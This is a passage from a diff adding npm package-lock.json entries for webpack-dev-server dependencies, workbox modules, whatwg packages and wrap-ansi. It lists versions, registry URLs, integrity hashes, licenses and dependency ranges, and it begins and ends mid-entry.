"^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.0.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.4.2" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-server/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.8.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.8.0.tgz", + "integrity": "sha512-JDAgSYQ1ksuwqfChJusw1LSJ8BizJ2e/vVu5Lxjq3YvNJNlROv1ui4i+c/kUUrPheBvQl4c5UbERhTwKa6QBJQ==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/webpack-manifest-plugin": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz", + "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==", + "license": "MIT", + "dependencies": { + "tapable": "^2.0.0", + "webpack-sources": "^2.2.0" + }, + "engines": { + "node": ">=12.22.0" + }, + "peerDependencies": { + "webpack": "^4.44.2 || ^5.47.0" + } + }, + "node_modules/webpack-manifest-plugin/node_modules/webpack-sources": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz", + "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==", + "license": "MIT", + "dependencies": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-merge": { + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.8.0.tgz", + "integrity": "sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "clone-deep": "^4.0.1", + "wildcard": "^2.0.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "license": "MIT", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/webpack/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/webpack/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "license": "Apache-2.0", + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "license": "Apache-2.0", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dev": true, + "license": "MIT", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-encoding/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", + "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==", + "license": "MIT" + }, + "node_modules/whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==", + "license": "MIT" + }, + "node_modules/whatwg-url": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz", + "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==", + "license": "MIT", + "dependencies": { + "lodash": "^4.7.0", + "tr46": "^2.1.0", + "webidl-conversions": "^6.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "license": "MIT", + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.0.tgz", + "integrity": "sha512-I+qLGQ/vucCby4tf5HsLmGueEla4ZhwTBSqaooS+Y0BuxN4Cp+okmGuV+8mXZ84KDI9BA+oklo+RzKg0ONdSUA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.0.5", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.1.4", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.15" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "license": "MIT" + }, + "node_modules/which-collection": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "license": "MIT", + "dependencies": { + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.16", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.16.tgz", + "integrity": "sha512-g+N+GAWiRj66DngFwHvISJd+ITsyphZvD1vChfVg6cEdnzy53GzB3oy0fUNlvhz7H7+MiqhYr26qxQShCpKTTQ==", + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/wildcard": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", + "integrity": "sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/workbox-background-sync": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.5.3.tgz", + "integrity": "sha512-0DD/V05FAcek6tWv9XYj2w5T/plxhDSpclIcAGjA/b7t/6PdaRkQ7ZgtAX6Q/L7kV7wZ8uYRJUoH11VjNipMZw==", + "license": "MIT", + "dependencies": { + "idb": "^6.1.4", + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-broadcast-update": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.5.3.tgz", + "integrity": "sha512-4AwCIA5DiDrYhlN+Miv/fp5T3/whNmSL+KqhTwRBTZIL6pvTgE4lVuRzAt1JltmqyMcQ3SEfCdfxczuI4kwFQg==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-build": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.5.3.tgz", + "integrity": "sha512-8JNHHS7u13nhwIYCDea9MNXBNPHXCs5KDZPKI/ZNTr3f4sMGoD7hgFGecbyjX1gw4z6e9bMpMsOEJNyH5htA/w==", + "license": "MIT", + "dependencies": { + "@apideck/better-ajv-errors": "^0.3.1", + "@babel/core": "^7.11.1", + "@babel/preset-env": "^7.11.0", + "@babel/runtime": "^7.11.2", + "@rollup/plugin-babel": "^5.2.0", + "@rollup/plugin-node-resolve": "^11.2.1", + "@rollup/plugin-replace": "^2.4.1", + "@surma/rollup-plugin-off-main-thread": "^2.2.3", + "ajv": "^8.6.0", + "common-tags": "^1.8.0", + "fast-json-stable-stringify": "^2.1.0", + "fs-extra": "^9.0.1", + "glob": "^7.1.6", + "lodash": "^4.17.20", + "pretty-bytes": "^5.3.0", + "rollup": "^2.43.1", + "rollup-plugin-terser": "^7.0.0", + "source-map": "^0.8.0-beta.0", + "stringify-object": "^3.3.0", + "strip-comments": "^2.0.1", + "tempy": "^0.6.0", + "upath": "^1.2.0", + "workbox-background-sync": "6.5.3", + "workbox-broadcast-update": "6.5.3", + "workbox-cacheable-response": "6.5.3", + "workbox-core": "6.5.3", + "workbox-expiration": "6.5.3", + "workbox-google-analytics": "6.5.3", + "workbox-navigation-preload": "6.5.3", + "workbox-precaching": "6.5.3", + "workbox-range-requests": "6.5.3", + "workbox-recipes": "6.5.3", + "workbox-routing": "6.5.3", + "workbox-strategies": "6.5.3", + "workbox-streams": "6.5.3", + "workbox-sw": "6.5.3", + "workbox-window": "6.5.3" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz", + "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==", + "license": "MIT", + "dependencies": { + "json-schema": "^0.4.0", + "jsonpointer": "^5.0.0", + "leven": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "ajv": ">=8" + } + }, + "node_modules/workbox-build/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/workbox-build/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/workbox-build/node_modules/source-map": { + "version": "0.8.0-beta.0", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz", + "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==", + "license": "BSD-3-Clause", + "dependencies": { + "whatwg-url": "^7.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/workbox-build/node_modules/tr46": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz", + "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==", + "license": "MIT", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/workbox-build/node_modules/webidl-conversions": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz", + "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==", + "license": "BSD-2-Clause" + }, + "node_modules/workbox-build/node_modules/whatwg-url": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz", + "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==", + "license": "MIT", + "dependencies": { + "lodash.sortby": "^4.7.0", + "tr46": "^1.0.1", + "webidl-conversions": "^4.0.2" + } + }, + "node_modules/workbox-cacheable-response": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.5.3.tgz", + "integrity": "sha512-6JE/Zm05hNasHzzAGKDkqqgYtZZL2H06ic2GxuRLStA4S/rHUfm2mnLFFXuHAaGR1XuuYyVCEey1M6H3PdZ7SQ==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-core": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.5.3.tgz", + "integrity": "sha512-Bb9ey5n/M9x+l3fBTlLpHt9ASTzgSGj6vxni7pY72ilB/Pb3XtN+cZ9yueboVhD5+9cNQrC9n/E1fSrqWsUz7Q==", + "license": "MIT" + }, + "node_modules/workbox-expiration": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.5.3.tgz", + "integrity": "sha512-jzYopYR1zD04ZMdlbn/R2Ik6ixiXbi15c9iX5H8CTi6RPDz7uhvMLZPKEndZTpfgmUk8mdmT9Vx/AhbuCl5Sqw==", + "license": "MIT", + "dependencies": { + "idb": "^6.1.4", + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-google-analytics": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.5.3.tgz", + "integrity": "sha512-3GLCHotz5umoRSb4aNQeTbILETcrTVEozSfLhHSBaegHs1PnqCmN0zbIy2TjTpph2AGXiNwDrWGF0AN+UgDNTw==", + "deprecated": "It is not compatible with newer versions of GA starting with v4, as long as you are using GAv3 it should be ok, but the package is not longer being maintained", + "license": "MIT", + "dependencies": { + "workbox-background-sync": "6.5.3", + "workbox-core": "6.5.3", + "workbox-routing": "6.5.3", + "workbox-strategies": "6.5.3" + } + }, + "node_modules/workbox-navigation-preload": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.5.3.tgz", + "integrity": "sha512-bK1gDFTc5iu6lH3UQ07QVo+0ovErhRNGvJJO/1ngknT0UQ702nmOUhoN9qE5mhuQSrnK+cqu7O7xeaJ+Rd9Tmg==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-precaching": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.5.3.tgz", + "integrity": "sha512-sjNfgNLSsRX5zcc63H/ar/hCf+T19fRtTqvWh795gdpghWb5xsfEkecXEvZ8biEi1QD7X/ljtHphdaPvXDygMQ==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3", + "workbox-routing": "6.5.3", + "workbox-strategies": "6.5.3" + } + }, + "node_modules/workbox-range-requests": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.5.3.tgz", + "integrity": "sha512-pGCP80Bpn/0Q0MQsfETSfmtXsQcu3M2QCJwSFuJ6cDp8s2XmbUXkzbuQhCUzKR86ZH2Vex/VUjb2UaZBGamijA==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-recipes": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.5.3.tgz", + "integrity": "sha512-IcgiKYmbGiDvvf3PMSEtmwqxwfQ5zwI7OZPio3GWu4PfehA8jI8JHI3KZj+PCfRiUPZhjQHJ3v1HbNs+SiSkig==", + "license": "MIT", + "dependencies": { + "workbox-cacheable-response": "6.5.3", + "workbox-core": "6.5.3", + "workbox-expiration": "6.5.3", + "workbox-precaching": "6.5.3", + "workbox-routing": "6.5.3", + "workbox-strategies": "6.5.3" + } + }, + "node_modules/workbox-routing": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.5.3.tgz", + "integrity": "sha512-DFjxcuRAJjjt4T34RbMm3MCn+xnd36UT/2RfPRfa8VWJGItGJIn7tG+GwVTdHmvE54i/QmVTJepyAGWtoLPTmg==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-strategies": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.5.3.tgz", + "integrity": "sha512-MgmGRrDVXs7rtSCcetZgkSZyMpRGw8HqL2aguszOc3nUmzGZsT238z/NN9ZouCxSzDu3PQ3ZSKmovAacaIhu1w==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3" + } + }, + "node_modules/workbox-streams": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.5.3.tgz", + "integrity": "sha512-vN4Qi8o+b7zj1FDVNZ+PlmAcy1sBoV7SC956uhqYvZ9Sg1fViSbOpydULOssVJ4tOyKRifH/eoi6h99d+sJ33w==", + "license": "MIT", + "dependencies": { + "workbox-core": "6.5.3", + "workbox-routing": "6.5.3" + } + }, + "node_modules/workbox-sw": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.5.3.tgz", + "integrity": "sha512-BQBzm092w+NqdIEF2yhl32dERt9j9MDGUTa2Eaa+o3YKL4Qqw55W9yQC6f44FdAHdAJrJvp0t+HVrfh8AiGj8A==", + "license": "MIT" + }, + "node_modules/workbox-webpack-plugin": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.5.3.tgz", + "integrity": "sha512-Es8Xr02Gi6Kc3zaUwR691ZLy61hz3vhhs5GztcklQ7kl5k2qAusPh0s6LF3wEtlpfs9ZDErnmy5SErwoll7jBA==", + "license": "MIT", + "dependencies": { + "fast-json-stable-stringify": "^2.1.0", + "pretty-bytes": "^5.4.1", + "upath": "^1.2.0", + "webpack-sources": "^1.4.3", + "workbox-build": "6.5.3" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "webpack": "^4.4.0 || ^5.9.0" + } + }, + "node_modules/workbox-webpack-plugin/node_modules/webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "license": "MIT", + "dependencies": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "node_modules/workbox-window": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.5.3.tgz", + "integrity": "sha512-GnJbx1kcKXDtoJBVZs/P7ddP0Yt52NNy4nocjBpYPiRhMqTpJCNrSL+fGHZ/i/oP6p/vhE8II0sA6AZGKGnssw==", + "license": "MIT", + "dependencies": { + "@types/trusted-types": "^2.0.2", + "workbox-core": "6.5.3" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": 